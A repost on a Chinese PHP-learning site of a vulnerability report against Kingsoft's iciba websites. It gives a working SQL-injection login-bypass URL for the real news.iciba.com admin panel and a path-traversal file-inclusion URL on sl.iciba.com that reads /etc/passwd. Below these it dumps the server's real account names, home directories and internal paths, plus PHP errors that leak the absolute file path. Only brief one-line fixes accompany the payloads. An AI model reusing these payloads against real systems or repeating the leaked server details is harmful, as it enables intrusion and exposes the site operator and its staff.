网站地图    收藏   

主页 > 后端 > 网站安全 >

金山词霸注射+本地文件包含漏洞+绝对路径泄露

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 爱词霸资讯后台管理系统登陆框SQL注入http://news.iciba.com/admin/index.php?mod=loginact=ajaxloginusername=#39;or#39;#39;=#39;#39;or#39;#39;=#39;pwd=#39;or#39;#39;=#39;#39;or#39;#39......

爱词霸资讯后台管理系统登陆框SQL注入
http://news.iciba.com/admin/index.php?mod=login&act=ajaxlogin&username='or''=''or''='&pwd='or''=''or''='
http://news.iciba.com/admin/index.php
 





修复方案:过滤参数




 

金山词霸本地文件包含漏洞+绝对路径泄露(其实是同一个),经确认是用require_once()这个函数,可是找了半天都找不到一个上传点,所以就没继续搞下去了
详细说明:文件包含:http://sl.iciba.com/rss.php?rtype=../../../../../etc/passwd%00


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
htt:x:100:101:IIIMF Htt:/usr/lib64/im:/sbin/nologin
www:x:48:48::/data/app:/bin/bash
mysql:x:512:512::/home/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
Oscar:x:518:519::/data/app/Oscar:/bin/bash
vote_www:x:519:520::/data/app/vote.www.iciba.com:/bin/bash
nagios:x:101:102:nagios:/var/log/nagios:/bin/sh
icibaweb:x:520:521::/data/app/192.168.0.14/news.iciba.com/:/sbin/nologin
huangjin:x:525:48::/data/app/wap.iciba.com/wwwroot:/bin/bash
ciba_duanjing:x:522:48::/data/app/wap.iciba.com/wwwroot:/sbin/nologin
survey:x:528:48::/data/apps/wap.iciba.com/iciba_wap/ef_survey:/sbin/nologin
cibayw:x:530:530::/home/cibayw:/bin/bash
changjf:x:533:533::/data/app/wap.iciba.com/:/sbin/nologin
jinqifa:x:535:535::/home/jinqifa:/bin/bash
linshi:x:536:536::/opt/kingsoft/sbin/data/baknsliciba:/bin/bash
vuser:x:537:537::/data/app/192.168.0.14/news.iciba.com/test:/bin/bash
zouyang:x:538:538::/data/app/sl.iciba.com/wwwroot/:/bin/bash
xueni:x:539:539::/home/xueni:/bin/bash
<br />
<b>Notice</b>:  Undefined variable: rss_title in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>19</b><br />
<br />
<b>Notice</b>:  Undefined variable: rss_link in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>20</b><br />
<br />
<b>Notice</b>:  Undefined variable: rss_desc in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>21</b><br />
<br />
<b>Notice</b>:  Undefined variable: rss_language in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>23</b><br />
<br />
<b>Notice</b>:  Undefined variable: rss_pubDate in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>23</b><br />
<br />
<b>Notice</b>:  Undefined variable: rss_pubDate in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>24</b><br />
<br />
<b>Notice</b>:  Undefined variable: rssData in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>26</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/data/app/sl.iciba.com/nphp/rss.php</b> on line <b>26</b><br />
<?xml version="1.0" encoding="UTF-8" ?>
<rss xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
<channel>
<title><![CDATA[]]></title>
<link><![CDATA[]]></link>
<description><![CDATA[]]></description>
<language></language>
<pubDate></pubDate>
<lastBuildDate></lastBuildDate></channel></rss>
 








修复方案:

对外部提交的数据多加过滤


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论